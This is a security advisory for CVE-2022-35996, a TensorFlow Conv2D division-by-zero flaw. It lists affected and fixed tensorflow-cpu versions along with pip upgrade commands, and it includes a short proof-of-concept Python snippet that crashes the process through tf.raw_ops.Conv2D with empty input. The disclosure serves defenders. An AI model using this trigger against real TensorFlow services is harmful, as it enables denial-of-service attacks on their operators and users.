Advisory

PYSEC-2026-3361

Also known as: BIT-tensorflow-2022-35996, CVE-2022-35996, GHSA-q5jv-m6qw-5g37, PYSEC-2026-1029, PYSEC-2026-3228

Summary

TensorFlow vulnerable to floating point exception in Conv2D

Details

Impact
If Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.

import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
   input = np.ones([1, 0, 2, 1])
   filter = np.ones([1, 1, 1, 1])
   strides = ([1, 1, 1, 1])
   padding = "EXPLICIT"
   explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
   data_format = "NHWC"
   res = tf.raw_ops.Conv2D(
       input=input,
       filter=filter,
       strides=strides,
       padding=padding,
        explicit_paddings=explicit_paddings,
       data_format=data_format,
  )

Patches
We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution
This vulnerability has been reported by Jingyi Shi.

Severity

Medium Basis: CVSS v3 score 5.9, vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Dates

Published
2026-07-13 14:19 UTC
Modified
2026-07-13 16:42 UTC

Affected packages and fixes

tensorflow-cpu

PyPI · All systems

Affected

  • introduced 0, fixed 2.7.2, introduced 2.8.0, fixed 2.8.1, introduced 2.9.0, fixed 2.9.1 (ecosystem)

Fixed versions

2.7.2, 2.8.1, 2.9.1

Fix

  • Fixed version 2.7.2
    pip install --upgrade tensorflow-cpu==2.7.2
  • Fixed version 2.8.1
    pip install --upgrade tensorflow-cpu==2.8.1
  • Fixed version 2.9.1
    pip install --upgrade tensorflow-cpu==2.9.1

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences